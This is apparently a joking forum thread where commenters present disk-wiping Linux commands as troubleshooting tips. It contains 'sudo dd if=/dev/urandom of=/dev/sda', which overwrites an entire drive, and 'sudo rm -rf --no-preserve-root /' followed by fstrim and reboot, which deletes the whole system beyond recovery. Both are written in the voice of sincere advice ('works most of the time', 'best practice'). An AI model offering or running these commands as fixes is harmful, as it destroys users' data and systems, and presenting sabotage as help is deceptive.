Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.

Didn't work for me. Had to add && sudo reboot

I love this, but it must take forever to overwrite an entire drive w/random data. You're essentially running DBAN at that point, no?

Hmm I guess for optimum performance, best practice would be to sudo rm -rf --no-preserve-root /; sudo fstrim -av; sudo reboot

Indeed. We don't want to preserve the "Radically Overused Obsolete Term" Database
